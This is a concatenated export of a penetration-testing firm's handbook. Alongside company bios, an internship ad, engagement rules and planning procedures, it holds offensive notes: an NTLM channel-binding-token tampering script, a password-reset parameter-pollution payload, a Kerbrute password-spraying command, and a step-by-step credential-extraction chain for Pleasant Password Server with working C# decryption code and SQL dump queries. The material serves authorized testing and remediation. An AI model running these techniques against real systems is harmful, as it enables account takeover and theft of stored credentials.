entering *correct* credentials in the browser and intercept the NTLM RESPONSE message (step 4 above). 2. Copy the Base64-encoded AUTHENTICATE message. 3. Use the following script to parse the channel binding token (CBT) and replace it with the correct one: * The script fetches the certificate fingerprint from the server. * Make sure your Python process can reach the destination server without a TLS intercepting proxy. * Replace `target` and `ntlm_authenticate_message`. ```python import base64 import hashlib import ssl import struct def parse_and_replace_cbt(msg, replace_with="a" * 32): msg = base64.b64decode(msg).hex() try: cbt = msg.split("0a001000")[1][:32] except IndexError: print("No Channel Binding Token found") return print("Channel Binding Token:", cbt) msg = msg.replace(cbt, replace_with) print("Message with CBT replaced:", base64.b64encode(bytes.fromhex(msg)).decode()) def get_certificate_fingerprint(hostname, port=443): context = ssl.create_default_context() with context.wrap_socket(ssl.socket(), server_hostname=hostname) as conn: conn.connect((hostname, port)) cert = conn.getpeercert(binary_form=True) sha256_fingerprint = hashlib.sha256(cert).hexdigest() return sha256_fingerprint def compute_cbt_from_fingerprint(fingerprint): fingerprint = bytes.fromhex(fingerprint) token = b"tls-server-end-point:" + fingerprint token_len = len(token) prefix = b"\x00" * 16 prefix += struct.pack("I", token_len) digest = hashlib.md5() digest.update(prefix) digest.update(token) return digest.hexdigest() target = {"hostname": "example.com", "port": 443} ntlm_authenticate_message = "TlRMTVNTUAADAAAA..." new_cbt = compute_cbt_from_fingerprint(get_certificate_fingerprint(**target)) parse_and_replace_cbt(ntlm_authenticate_message, new_cbt) ``` --- --- url: 'https://handbook.syslifters.com/pentesting-manual/web-applications/oidc.md' description: Flow choices and PKCE reminder. --- # OIDC (quick note) OIDC allows different authentication flows. When using the `authorization_code` flow, make sure to also use PKCE. * Public applications, websites, SPAs, mobile apps: `authorization_code` + PKCE See: --- --- url: >- https://handbook.syslifters.com/pentesting-manual/web-applications/file-upload/open-redirect.md description: >- Upload an HTML file that instantly redirects users via meta refresh; prevent by blocking HTML or forcing safe download headers. --- # Open redirect via HTML file upload If an application allows uploading **HTML files** and later serves them from a trusted domain, an attacker can upload an HTML page that immediately redirects visitors to an external site (e.g., for phishing). ## Example (meta refresh redirect) ```html Redirecting...

If you are not redirected automatically, click here.

``` --- --- url: 'https://handbook.syslifters.com/about-us.md' description: >- Meet our pentesters—highly qualified security professionals with strong academic backgrounds, industry certifications, and experience in top international cyber security competitions and exercises. --- # Our pentesters Most of our pentesters hold a degree in IT Security and/or Information Security. Furthermore, several of our pentesters possess relevant certifications (such as OSCP, CCNA, ITIL, IT Forensics, Firewall Administration, Database Administration) and some are multi-time winners of the European Cyber Security Challenge, the Austrian Cyber Security Challenge, as well as participants in the NATO exercise Locked Shields. In addition, we are actively involved in international technical exercises (including NATO's Locked Shields exercise) and international capture-the-flag events as participants, trainers, and/or co-organizers (such as DEF CON CTF, the European Cyber Security Challenge, and the Austrian Cyber Security Challenge). --- --- url: 'https://handbook.syslifters.com/pentesting-approach.md' description: >- How timeboxing and available knowledge affect pentest efficiency, and when we prefer grey/white-box approaches. --- # Our pentesting approach The efficiency of penetration tests conducted by competent pentesters essentially depends on two parameters: **1. Time** * The more time pentesters have, the more vulnerabilities they can find. * As the duration increases, the number of vulnerabilities found per unit of time decreases. * Rule of thumb: If a pentester does not manage to compromise an application within a certain timeframe, attackers will not succeed in targeted attacks under similar circumstances either. **2. Knowledge** * The more background knowledge pentesters have, the more efficient they are. * Knowledge includes, for example, technical documentation, source code, and user credentials (often administrative ones as well). * Giving pentesters an information advantage creates a time advantage over real attackers. For this reason, we try to define a reasonable timeframe for the scope (neither too short nor too long) and aim to acquire a sufficient amount of knowledge through communication with our clients. This particularly includes user credentials, documentation, and the impact on business processes. To deliver the best possible performance at the lowest possible cost, we recommend and strive for penetration tests that fall between grey-box and white-box. In some cases, we deviate from this approach. For instance, pure cloud tests (such as Entra ID, Azure Apps, etc.) are often more efficient as white-box tests, whereas a black-box test might be preferable when testing external perimeters with a large number of target systems and heterogeneous user access. \~~Source code analyses are also white-box tests but usually have the disadvantage of lower efficiency. We primarily recommend source code analyses for small but business-critical or high-risk pieces of code, such as (payout/payment) logic, approval processes, interfaces to physical devices, and similar components. In the web environment, we support common programming languages, including Java, C#/.NET, PHP, Python, JavaScript/TypeScript, as well as modern frameworks like ASP.NET, Django, Node.js, or Vue.js. Additionally, we are proficient in C and C++.~~ The rise of AI made source code analysis not only feasible, but increases our efficiency significantly. We recommend providing the source code of applications for automated analysis with our source code analysis framework. We can use self-hosted models on our own infrastructure (ususally smaller), or cloud-hosted models hosted in the EU or in the US. We use cloud-hosted models for closed-source applications only with explicit permission from our customers. --- --- url: >- https://handbook.syslifters.com/pentesting-manual/power-platform/overview-of-microsoft-power-platform.md description: >- A quick overview of the Power Platform components and how they relate (Power BI, Power Apps, Power Automate, Power Virtual Agents, Dataverse, connectors). --- # Overview of Microsoft Power Platform Microsoft Power Platform is a suite of applications, connectors, and a data platform that enables business users and developers to build apps, automate workflows, analyze data, and create virtual agents — often without extensive coding skills. Its main components are: 1. **Power BI** – Business intelligence tool for analyzing data and creating interactive dashboards and reports. 2. **Power Apps** – Application development platform to build custom apps for web and mobile devices, often using low-code/no-code. 3. **Power Automate** – Workflow automation tool to automate repetitive tasks across apps and services. 4. **Power Virtual Agents** – Platform for creating intelligent chatbots that can interact with users without coding. 5. **Dataverse** – The underlying data platform that stores and manages data used by the other components, ensuring consistency and security. 6. **Connectors** – Prebuilt connectors allow integration with hundreds of Microsoft and third-party services (e.g., SharePoint, Teams, Salesforce, etc.). **Key idea:** Power Platform components are loosely coupled but connected through Dataverse and connectors, making it flexible for different use cases. ## Graphical representation ``` +---------------------+ | Power Platform | +---------------------+ | --------------------------------------------------- | | | | +-----------+ +-------------+ +---------------+ | | Power BI | | Power Apps | | Power Automate | | +-----------+ +-------------+ +---------------+ | | | | | --------------------------------------------------- | +-------------+ | Dataverse | +-------------+ | +------------+ | Connectors | +------------+ | +--------------------------------+ | External Services & Data APIs | +--------------------------------+ ``` --- --- url: 'https://handbook.syslifters.com/pentesting-procedure.md' description: >- Our pentesting approach from kickoff and execution to reporting, remediation, and a free retest within eight weeks. --- # Overview of our pentesting procedure We aim to make pentests predictable, transparent, and effective — with ongoing coordination and a written report that helps you fix what matters. ## 1) Preparation call Before we start, we align on the essentials: * Clarify the risks and threat model * Agree on the test scope and boundaries * Collect what we need for efficient testing (access, test users, approvals/whitelisting, etc.) ## 2) Start of the pentest We begin testing within the agreed time window and scope. ## 3) Mid-test check-in During the pentest, we optionally schedule a short interim presentation (around one hour): * Share preliminary findings early * Exchange context and clarify open questions * Adjust priorities if needed (within the agreed scope) ::: tip Handling critical findings If we identify critical findings that pose an immediate and severe risk to our clients, we typically inform our contact persons immediately via the agreed communication channels (our recommendation: Signal Messenger). If required, we document the vulnerability in writing and provide recommendations for short-term mitigation. We document the vulnerability in detail within the final report and also provide recommendations for long-term security. ::: ## 4) Report creation and delivery After testing, we compile the results into a PDF report and deliver it to you. You can see what our reports look like in our [sample reports](/pentesting-sample-reports). ## 5) Fixing findings (customer side) You address the reported vulnerabilities, ideally prioritizing the high-risk items. ## 6) Free retest within 8 weeks If vulnerabilities are fixed within eight weeks after report delivery, we will retest them once free of charge. This includes an updated report version and notes on the remediation status. --- --- url: >- https://handbook.syslifters.com/pentesting-manual/web-applications/auth/parameter-pollution.md description: >- Account takeover patterns when duplicate parameters are interpreted in surprising ways. --- # Parameter pollution (password resets) ## Account takeover via parameter pollution Example of parameter pollution to send the victim's password reset link to the attacker's email: `email=victim-user%40syslifters.com&email=attacker-user%40syslifters.com` Or in JSON: `{"email":["victim-user@syslifters.com","attacker-user@syslifters.com"]}` Reference: [GitLab account takeover](https://hackerone.com/reports/2293343) --- --- url: >- https://handbook.syslifters.com/pentesting-manual/active-directory/credential-access/password-managers.md description: >- Post-compromise credential extraction from enterprise password-manager / vault solutions encountered on internal engagements. --- # Password managers Notes on extracting plaintext credentials from third-party password-manager / vault products you may find deployed on internal engagements. These techniques assume you have already compromised the host running the solution (typically local admin / SYSTEM); they pick up where the OS-level credential dumping in [Credential dumping](./credential-dumping) leaves off. ## Pleasant Password Server When you find a host running Pleasant Password Server and have administrative access on it, the full credential vault can be recovered by: 1. Recovering the backend database connection string, either by DPAPI-decrypting it from the registry, or, on SQLite installs, by reading it (including the AES key) straight out of the Service Configuration GUI. 2. Connecting to the backend database and dumping the credential rows. 3. Decrypting the per-credential password values using a hardcoded key shipped in `Pleasant.dll`. Reference: [The Not So Pleasant Password Manager (MDSec)](https://www.mdsec.co.uk/2023/09/the-not-so-pleasant-password-manager/). ### Supported backend databases Pleasant Password Server supports the following backends for storing sensitive data. Confirm which one is in use before connecting: * SQLite * MSSQL * PostgreSQL ### Decrypt the connection string from the registry The (encrypted) backend connection string is stored at: ``` HKLM\SOFTWARE\Pleasant Solutions\PasswordManager\DatabaseConnectionString ``` It is protected via DPAPI with additional entropy that is hardcoded in `PassMan.Configuration.dll` (`PassMan.Configuration.DbConfigurationStore.MigrateRegistryConnectionString`), located at: ``` C:\Program Files (x86)\Pleasant Solutions\Pleasant Password Server\www\bin\PassMan.Configuration.dll ``` Run the following C# routine as an administrative user on the host to recover the plaintext connection string. The entropy byte array is taken from the `Constants` class in the same DLL. Re-check it on the version you're looking at, as it may change between releases. ```csharp static string DecryptRegKey(string encryptedConnectionString) { byte[] additionalEntropy = { 0x9D, 0x38, 0x4A, 0xB6, 0x2D, 0x0E, 0x4E, 0x2F, 0x5A, 0x66, 0x44, 0x7B, 0x7A, 0x3E, 0x30, 0x69 }; try { return Encoding.ASCII.GetString( ProtectedData.Unprotect( Convert.FromBase64String(encryptedConnectionString), additionalEntropy, DataProtectionScope.LocalMachine)); } catch (Exception ex) { Console.WriteLine("[X] Something went wrong: " + ex); Console.WriteLine("[X] Has AdditionalEntropy changed? Check PassMan.Configuration.dll Constants..."); return null; } } ``` Because the entropy is hardcoded and `DataProtectionScope.LocalMachine` is used, any local administrator on the host can decrypt the value (no user impersonation needed). ### Read the connection string from the Service Configuration GUI If you have an interactive session as administrator on the host, you can skip the DPAPI method entirely. The PasswordManager Service Configuration tool that ships with the server (start menu / install directory) shows the full backend connection string in plaintext under Database Configuration, *including the database encryption key for SQLite deployments*: ![Database Configuration showing the SQLite AES key in the connection string](/images/pleasantpassserver-db-configuration-aes-key.png){width="auto"} For a SQLite-backed install the connection string looks like: ``` Data Source=[DataFolder]\PleasantPassServer.db;Key=aes256:;... ``` `[DataFolder]` resolves to the server's data directory under `ProgramData` (typically `C:\ProgramData\Pleasant Solutions\Pleasant Password Server\`), so the actual database file lives at e.g. `C:\ProgramData\Pleasant Solutions\Pleasant Password Server\PleasantPassServer.db`. Copy the `.db` file together with the `aes256:` value and you can open the database off-host. ### Dump credentials from the backend database With the plaintext connection string in hand, connect to the database and list the credential rows. For an MSSQL deployment: ```sql SELECT Name, Username, Password FROM dbo.CredentialObject; ``` For a SQLite deployment the file is AES-256 encrypted at the SQLite engine level, so you need a client that supports SQLite-native AES (not SQLCipher). [SQLiteManager](http://sqlabs.com/sqlitemanager.php) (commercial, by SQLabs) works: open the `.db` file and supply the `aes256:` value from the connection string as the encryption key. A useful starting query, filtered by entry name: ```sql SELECT rowid, Name, Notes, Username, Url, Id, RecordModifiedAt, parentId, Password FROM "CredentialObject" WHERE Password != "" AND Name LIKE "%pleas%" ORDER BY RecordModifiedAt DESC; ``` Drop the `Name LIKE` clause to enumerate every credential entry. The `Password` column values returned by either query are still encrypted at this point. The SQLite AES key only protects the file at rest, not the per-credential password fields. ### Decrypt the password column Password values are encrypted using logic in: ``` C:\Program Files (x86)\Pleasant Solutions\Pleasant Password Server\www\bin\Pleasant.dll ``` Relevant classes: * `Pleasant.Security.Obfuscation`: contains the hardcoded key used by the crypto routines. * `Pleasant.Security.Encryption`: implements the encryption / decryption of the password column values. The same hardcoded key is used regardless of which backend database is configured (SQLite / MSSQL / PostgreSQL). For off-host decryption (e.g. after you've exfiltrated the SQLite `.db` file and dumped the encrypted `Password` column values), the C# logic in `Pleasant.Security.Encryption` can be ported to a short Python helper (`pycryptodome` is enough), reusing the static key recovered from `Pleasant.Security.Obfuscation`. Feed each encrypted `Password` value through it to recover the cleartext. MDSec released a utility that automates the full chain (registry, connection string, DB, cleartext credentials): * [mdsecactivebreach/PleasantTools](https://github.com/mdsecactivebreach/PleasantTools): `PleasantDecrypter` (C#) handles the registry connection-string decryption and the database password decryption. When verifying remediation, confirm the install is on a version newer than the ones MDSec validated this against (v7.11.38 / v7.11.41), since the hardcoded key/entropy may rotate over time. --- --- url: >- https://handbook.syslifters.com/pentesting-manual/active-directory/credential-access/password-spraying.md description: Password spraying starting points for AD environments. --- # Password spraying ## Kerbrute Kerbrute contains multiple commands to enumerate users or bruteforce accounts. Add `--safe` to abort passwordsparying or bruteforcing if one account is marked as locked. Check out `kerbrute.exe -h` for more. ``` kerbrute.exe passwordspray -d lab.local users.txt Winter2026 ``` --- --- url: 'https://handbook.syslifters.com/about-us/patrick.md' description: >- Profile page and CV for Patrick Pirker with contact details, experience, and certifications. --- patrick@syslifters.com ( S/MIME [cer](/assets/patrick.cer)/[pem](/assets/patrick.pem){target="\_blank" rel="noreferrer"}) * **since 04/2022** Co-Founder and Executive Director of Syslifters GmbH * **since 2023** Lecturer at the University of Applied Sciences St. Poelten * IT Security * **since 2022** Lecturer at the University of Applied Sciences Technikum Wien * IT Security * **2018-2022** Security-Consultant at A1 Digital International GmbH * Software development and operation of vulnerability scanner Offensity * Penetration Testing * **2016-2018** Penetration Tester at Greentube * Penetration Testing * Internal IT Security Audits * **2015-2016** Military Service in the Austrian Armed Forces * Military Computer Emergency Readiness Team (MilCERT) - University of Applied Sciences St. Pölten * Information Security (DI) * IT-Security (BSc) - Engineering College (HTBL) Krems * Information Technology - OSCP – Offensive Security Certified Professional - ITIL v3 Foundation Certificate * Former Team Captain of Team AUSTRIA at the European Cyber Security Challenge (ECSC) * Winner of the European Cyber Security Challenge 2014 and 2015 * Multiple winner of the Austrian Cyber Security Challenge * 3rd place at the European Cyber Security Challenge 2019 --- --- url: 'https://handbook.syslifters.com/de/ueber-uns/patrick.md' description: >- Profilseite und Lebenslauf von Patrick Pirker mit Kontakt, Erfahrung und Zertifikaten. --- patrick@syslifters.com ( S/MIME [cer](/assets/patrick.cer)/[pem](/assets/patrick.pem){target="\_blank" rel="noreferrer"}) * **seit 04/2022** Mitgründer und Geschäftsführer der Syslifters GmbH * **seit 2023** Lektor an der Fachhochschule St. Pölten * IT Security * **seit 2022** Lektor an der Fachhochschule Technikum Wien * IT Security * **2018-2022** Security-Consultant bei A1 Digital International GmbH * Softwareentwicklung und Betrieb Vulnerability-Scanner Offensity * Penetration Testing * **2016-2018** Penetration Tester bei Greentube * Penetration Testing * Interne IT Security Audits * **2015-2016** Präsenzdiener beim Österreichischen Bundesheer * Militärisches Computer Emergency Readiness Team (MilCERT) - Fachhochschule St. Pölten * Information Security (DI) * IT-Security (BSc) - HTBL Krems * Informationstechnologie - OSCP – Offensive Security Certified Professional - ITIL v3 Foundation Certificate * Ehem. Team-Kapitän des Teams ÖSTERREICH bei der European Cyber Security Challenge (ECSC) * Sieger der European Cyber Security Challenge 2014 und 2015 * Mehrmaliger Sieger der Austrian Cyber Security Challenge * Platz 3 der European Cyber Security Challenge 2019 --- --- url: 'https://handbook.syslifters.com/de/pentesting-praktikum.md' description: >- Praktikumsstelle im Penetration Testing (remote) mit Aufgaben, Anforderungen, Rahmenbedingungen und Bewerbung. --- Wir haben für das Jahr 2025 Praktikumsplätze zu vergeben. **Rahmen**: 38.5h, m/w/d, remote\ **Dauer:** Mindestens vier bis fünf Monate, mit Möglichkeit auf Teilzeitanstellung danach (inkl. Gehaltsanpassung)\ **Vergütung:** 1900 Euro brutto pro Monat **Aufgaben:** * Durchführung von Pentests auf Webanwendungen und Active Directory-Umgebungen. * Projekte werden je nach Anforderung remote (zumeist) oder beim Kunden vor Ort durchgeführt. * Erstellung von Berichten über die Ergebnisse der Pentests. * Zusammenarbeit mit anderen Pentestern in Projekten. * Eigenständige Weiterentwicklung von Kenntnissen im Bereich Penetration Testing. * Mitarbeit in der Entwicklung von Security-Produkten. **Anforderungen:** * Grundlegende Kenntnisse in zumindest einem der Bereiche: * Webanwendungssicherheit * Active Directory-Sicherheit * Verständnis für verschiedene Angriffsszenarien und Sicherheitskonzepte. * Fähigkeit zur eigenständigen Problemlösung und analytisches Denkvermögen. * Selbstmotivation und Engagement. * Gute Englisch- und Deutschkenntnisse in Wort und Schrift. * Dauerhafter Wohnort in Österreich. * Optional: Absolvent einer HTL oder AHS. * Optional: Laufendes Studium der Informatik, IT-Sicherheit oder einer ähnlichen Fachrichtung. **Vorteile:** * Remote-Arbeit mit täglichen Team-Meetings per Video-Call. * Die Möglichkeit, von erfahrenen Sicherheitsexperten zu lernen und sich während des Praktikums zu einem professionellen Pentester zu entwickeln. * Einblick in reale Projekte und Herausforderungen im Bereich IT-Sicherheit. * Option auf Teilzeitanstellung nach erfolgreichem Abschluss des Praktikums (inkl. Gehaltsanpassung). Apply now --- --- url: 'https://handbook.syslifters.com/pentesting-manual/operation-rules.md' description: >- A practical checklist for prep, collaboration, evidence hygiene, and secure handling of customer data during pentests. --- # Pentest operation rules * Prepare the pentest. * At the beginning of the week, check if you have everything for the next week's project. * Send a reminder to the customer if not. * See also our [pentest planning process](/pentesting-manual/pentest-planning-process#pentest-planning-process) * Work together as a team. * Exchange ideas with your colleagues at least once a day during the test by calling each other in person. * Create a Signal group with disappearing messages (match the duration of the testing time frame e.g. 1 week) at the start of the test. Use this group for ongoing communication and sharing test-related information. * Be available for your colleagues (via Signal, Signal Desktop, or Nextcloud Talk). * Clarify who is responsible for testing and reporting what, so everyone knows their tasks (like who writes which finding, who covers what types of test to avoid redundancies, etc.) * Take your pentest notes in the SysReptor project. * This allows collaboration with other pentesters. * Notes will be archived (encrypted) automatically. * Also store scoping notes and other information in the SysReptor project notes. * If you need to store files related to a pentest on your local PC, store them in one dedicated directory. * If you store files elsewhere, remove customer and project related information. * Project files older than 90 days should be deleted. For this we have a semi-automatic script, checkout [Project Retention](/organization/human-resources/project-retention) for more information. * Save Burp projects on disk; don't use temporary projects. * Burp states might serve as evidence. * You will probably need the state for retests. * If possible, use repeater tabs and/or the [Burp Organizer](https://portswigger.net/burp/documentation/desktop/tools/organizer) to document attacks to be able to reproduce them. * Use a dedicated browser or the Chromium Browser integrated with Burp. * Don't use the browser that you use for your own work. * You can install the Bitwarden extension there to have your passwords available. * Use multiple user profiles or [Firefox Multi-Account Containers](/pentesting-manual/web-applications/firefox-multicontainer.md) (e.g., for testing authorizations of multiple users). * Use dedicated profiles or containers for each pentest or delete all data from the profile between pentests. * If you need to use Chrome, here's the command to launch it from PowerShell: `& "C:\Program Files\Google\Chrome\Application\chrome.exe" --proxy-server="http://127.0.0.1:8080"` * Might be necessary for translation, or speech recognition * Import your burp CA certificate (which you get on `http://burp`) * Use a VPN exit node with static IP address `91.99.251.12` (if applicable, e.g., if public web application). * This allows the customer to identify your activities. * Note that `nmap` scans don't use the exit node by default! (You can use `-sT` instead of `-sS` to prevent this.) * Disable email notifications. * Don't be distracted by email notifications and envelope symbols in app icons. * You may use Signal to keep in touch with your colleagues. * Answer customer mails within 24 hours. * No real time communication needed for emails * Still, check your mails twice a day and respond to urgent or potentially long-to-prepare topics (like infrastructure/user setup for pentest preparation). * If your response will take longer than 24 hours, write back you will contact them later. * Write efficiently, e.g. * Someone asks for a meeting; instead of answering "yes" provide three time slots. * Customers should have the phone number of at least one pentester. * Sending an email incl. email signature is sufficient. * Be reachable during pentests for emergency cases. * We try to present intermediate results ("interim briefing call") to the customers during the pentest. * This allows us and the customer to gain knowledge, we demonstrate that we have insights to the application already and demonstrated what we achieved so far. * We also do debriefing calls if customers ask for them. * We never decline customers' ask for presentation meetings. This is our chance to demonstrate the value of our work. --- --- url: 'https://handbook.syslifters.com/pentesting-manual/pentest-planning-process.md' description: >- This document describes the Syslifters pentest planning process and the kanban-style Pentest Planning Board we use to run it. --- # Pentest planning process This page describes how we plan and track penetration tests using the Pentest Planning Board, who is responsible for what, and which rules everyone follows. ## Quick reference **Board:** the [Pentest Planning Board](https://cloud.syslifters.com/apps/deck/board/7) is the source of truth for planning. Every project corresponds to one card, tracked through the five stages in the table below. We discuss the projects every Monday in our daily Stammtisch ("weekly project status update"). | Stage | Summary | Due date | | --- | --- | --- | | Prospects | Lead runs the enquiry and follow-ups until we schedule the project, then move to "Projects scheduled". | The day to follow-up with the customer. | | Projects scheduled | Order is in: block the calendar, assign the team, finish prep before test week. Move to Projects ready when access, credentials, scope, and environment fit the planned start. | The day to contact/follow-up with the customer for pentest preparation. | | Projects ready | Prepared to start on the agreed date. Move to Projects in progress when pentesting begins on that date. | Planned start date. | | Projects in progress | Customer is notified and the team conducts the pentest in the agreed window. Move to Projects finished when the customer has received the report. | Last test or report day + 1 working day. | | Projects finished | Report is with the customer. Mark the Deck card done only after SysReptor project is set finished, then invoicing and archive. | Not required. | **On every card:** * No sensitive content. * Comments hold contact points as meta-information. * Reference the SysReptor project URL in the description if a project exists. * Details about the project, scope, contact persons, etc. go into the SysReptor project notes. * The "lead" is responsible for maintaining the card and the project. **Discuss at Stammtisch or with founders if:** * Prospects are stuck after repeated follow-ups. * Projects are at risk. * You need help. ## Why this process matters We run many projects in parallel. A formalized pentest planning process keeps an overview, spreads knowledge beyond any single person, and avoids bottlenecks when someone is unavailable. A process that is not only written down but actually followed also helps avoid or reduce human error (for example someone forgetting to engage the customer), reduces communication errors, and makes it explicit who is responsible for what at each step. We use kanban-style project management for this. The board is a living tool: it only stays useful if the whole team maintains it. If you are lead on a card, you are responsible for keeping that card accurate and up to date until the lead changes. ![Planning card with John Doe as lead](/images/planning-card.png) The board is the single source of truth for pentest planning. We use it in our daily Stammtisch to see project status. Every card stays on the board until it is finished or no longer relevant and is explicitly marked completed. General rule: if it is not documented, it did not happen. Record decisions and waiting states in the card comments so the status of each card is clear for everyone, actions and decisions can be traced later, and it is visible that we did our part (for example when a customer is slow or unresponsive). ![Comment in a card](/images/planning-comments.png) ## Board location and discussion The Pentest Planning Board is a Nextcloud Deck, shared with every Syslifters esmployee: [Pentest Planning Board in Nextcloud Deck](https://cloud.syslifters.com/apps/deck/board/7) We discuss the projects every Monday in our daily Stammtisch ("weekly project status update"). ## Board structure The board has five stages (columns), in order: 1. Prospects 2. Projects scheduled 3. Projects ready 4. Projects in progress 5. Projects finished ![Pentest planning kanban board](/images/planning-kanban.png) ## What each card represents Each card is one pentest project. A card must never hold sensitive information. It should contain only the meta information needed to track the project and its status. It should include: * Title: identifiable project or customer reference, without sensitive information. * Lead: one person tagged as lead; that person owns the card until reassigned. * Assigned pentesters: everyone involved in delivery (lead may be the only assignee in early stages). * Project URL to description: link to the matching SysReptor project if one exists. * Comments: short, meta-level updates only (for example: customer contacted by email on 4 April regarding URL and credentials). Do not paste secrets, full correspondence, or scope detail here. Document operational details and sensitive information in a SysReptor project. The lead creates a SysReptor project if none exists yet, and always adds its URL to the card description so the card points to the full record and stays linked to the right project when the lead is passed to someone else. ## Stage 1: Prospects When a pentest enquiry arrives, the person in contact with the customer becomes lead and adds a new card in Prospects. Set the correct Lead tag for that person. You can optionally capture details in a dedicated SysReptor project if there are details or sensitive information to be documented. Fro this, create a SysReptor project and add the URL to the card. After the communication with our customers, we often have to wait for a response (e.g., for accepting the offer, providing URLs and credentials, etc.): * Set a due date as a reminder to re-engage if the customer goes quiet (for example, about two weeks after sending an offer, or the day after the date the customer said they would reply). * Document any outreach in the card comments on a meta level (see ["what each card represents"](#what-each-card-represents)). This creates traceability, demonstrates that we followed up, and reinforces the “document or it didn’t happen” rule. If repeated follow-ups fail (customer keeps postponing), bring it to the daily Stammtisch. As a rule of thumb, after three unsuccessful engagement attempts, discuss whether to close the prospect or try again. Three is not a hard cap. Context decides. ## Stage 2: Projects scheduled When the customer schedules the order, the the card moves to "Projects scheduled". The lead then: * Informs Christoph so he stays in the loop on scheduling and assignments. * Blocks the project in the shared pentesting calendar. * Assigns pentesters who will run the test (always one lead, with others supporting if needed). * May assign a new lead by changing the lead tag to the person now responsible for next steps. Our goal is to have everything ready for the pentest (network access, URLs, credentials, source code, etc.) one week before the test starts. Always set the due date when you plan to contact the customer next. This can be for example 30 days before the pentest starts (e.g., for booking a hotel), 14 days before the test starts (e.g., for requesting information for the customer), or 3 days before the pentest starts (e.g., for the last reminder). A project is ready when everything is ready for the test: accomodation, reachable systems, working credentials, clarified scope, etc. While waiting on the customer: * Note every follow-up as comments in the card (for example that access was requested). * Add technical and sensitive information to the SysReptor project's notes. * Refresh the due date for the next follow-up. For example, set it to Wednesday the same week. If there is still no reply, follow up Wednesday, note it, set due date to Friday, and repeat. * If a project is at risk or you need support, raise an issue in our daily Stammtisch or contact one of our founders. ## Stage 3: Projects ready When preparation is complete and testing can start as planned, move the card to "Projects ready" and set the due date to the planned start date of the project. ## Stage 4: Projects in progress On the start date, when work actually begins, the lead informs the customer that testing has started, then moves the card to Projects in progress. Set the due date to end of the engagement plus one working day. For example, if the last test or reporting day is Friday, set the due date to Monday morning before Stammtisch. ## Stage 5: Projects finished After the report was sent to the customer, the lead moves the card to "Projects finished". The lead marks the card as done when the linked SysReptor project (the URL in the card description) is set to status "Finished". The delivery is now complete, the project can be invoiced and will be auto-encrypted three months later. We will archive the card together in our weekly project status update meeting. --- --- url: >- https://handbook.syslifters.com/organization/human-resources/pentestbox-setup.md description: >- Setup guide for running offensive tooling in an isolated, capability-restricted Kali container from our internal registry instead of installing it on your host. --- # Pentestbox setup We use [pentestbox](https://gitlab.internal.syslifters.com/tools/pentestbox) as an isolated, capability-restricted container for offensive tooling to protect your host OS and limit the potential blast radius. It is our standardized Kali-based Docker image with `kali-linux-headless` and additional tools we use in pentest workflows. Images are published for `linux/amd64` and `linux/arm64`. Docker pulls the variant that matches your host. ## Prerequisites * Network access to `registry.internal.syslifters.com`. * Docker: Docker Desktop on Windows and macOS, Docker Engine on Linux. ## Install Docker ### Windows 1. Install [Docker Desktop for Windows](https://docs.docker.com/desktop/setup/install/windows-install/). 2. Enable the WSL 2 backend if prompted during setup. 3. Verify the installation: ```powershell docker version ``` ### macOS 1. Install [Docker Desktop for Mac](https://docs.docker.com/desktop/setup/install/mac-install/). 2. Verify the installation: ```bash docker version ``` ### Linux 1. Install [Docker Engine](https://docs.docker.com/engine/install/) for your distribution. 2. Add your user to the `docker` group so you can run containers without `sudo`: ```bash sudo usermod -aG docker "$USER" ``` Log out and back in (or restart your session) for the group change to take effect. 3. Verify the installation: ```bash docker run hello-world ``` ## Pull the image ```bash docker pull registry.internal.syslifters.com/tools/pentestbox:latest ``` ## Run the container The run command below: * Drops all capabilities, then adds only what scanners like nmap need (`NET_RAW`, `NET_ADMIN`, `NET_BIND_SERVICE`). * Mounts your Downloads folder at `/pentest` inside the container as the working directory for project files. ### Linux / macOS ```bash docker run --rm -it \ --cap-drop=ALL \ --cap-add=NET_RAW \ --cap-add=NET_ADMIN \ --cap-add=NET_BIND_SERVICE \ -v "$HOME/Downloads:/pentest:rw" \ -w /pentest \ registry.internal.syslifters.com/tools/pentestbox:latest bash ``` ### Windows ```powershell docker run --rm -it ` --cap-drop=ALL ` --cap-add=NET_RAW ` --cap-add=NET_ADMIN ` --cap-add=NET_BIND_SERVICE ` -v "${env:USERPROFILE}\Downloads:/pentest:rw" ` -w /pentest ` registry.internal.syslifters.com/tools/pentestbox:latest bash ``` ::: warning Do not use `--network host` on Docker Desktop (macOS/Windows). Tools that modify iptables with `NET_ADMIN` can destabilize Docker in that mode. Use the default bridge networking instead. ::: ## Shell alias To avoid typing the full `docker run` command each time, add a shortcut to your shell config. ### Linux / macOS Add to `~/.bashrc` or `~/.zshrc`: ```bash alias pentestbox='docker run --rm -it --cap-drop=ALL --cap-add=NET_RAW --cap-add=NET_ADMIN --cap-add=NET_BIND_SERVICE -v "$HOME/Downloads:/pentest:rw" -w /pentest registry.internal.syslifters.com/tools/pentestbox:latest bash' ``` Reload your shell config: ```bash source ~/.bashrc # or: source ~/.zshrc ``` Start the container with: ```bash pentestbox ``` ### Windows Add to your PowerShell profile (`$PROFILE`): ```powershell function pentestbox { docker run --rm -it ` --cap-drop=ALL ` --cap-add=NET_RAW ` --cap-add=NET_ADMIN ` --cap-add=NET_BIND_SERVICE ` -v "${env:USERPROFILE}\Downloads:/pentest:rw" ` -w /pentest ` registry.internal.syslifters.com/tools/pentestbox:latest bash } ``` Reload the profile: ```powershell . $PROFILE ``` Start the container with: ```powershell pentestbox ``` ## Limitations | Limitation | Guidance | |------------|----------| | Docker Desktop on macOS/Windows has no real layer-2 networking | ARP, LLMNR, multicast, and Responder-style attacks need a **bridged Kali VM**, not pentestbox | | `--network host` on Docker Desktop can break Docker when tools modify iptables | Avoid host networking on Desktop; use default bridge networking | | Container is for tooling convenience | Not a replacement for full VM setups on engagements that need layer-2 access | --- --- url: 'https://handbook.syslifters.com/de/pentesting-demo-reports.md' description: >- Demo-Pentestberichte (AD, Web, Extern) zum Einblick in Aufbau und Qualität unserer Reports. --- # Pentesting Demo-Berichte --- --- url: 'https://handbook.syslifters.com/pentesting-manual.md' description: >- Overview and entry point to our pentesting notes, playbooks, and reporting guidance. --- # Pentesting Manual This section collects our internal-ish notes and reusable guidance for running penetration tests end to end: how we operate, how we report, and topic-specific playbooks. ## You'll find information about... * **Our pentesting procedures and collaboration**: engagement rules, expectations, and ways of working. * **Reporting**: report structure, writing style guidance, and reusable finding components. * **Attack approaches**: common attack patterns, checklists, and niche technique notes. * **Tools collections**: toolset lists and internal tooling notes. --- --- url: 'https://handbook.syslifters.com/pentesting-sample-reports.md' description: >- Downloadable pentest sample reports (AD, web, external) showcasing our reporting style. 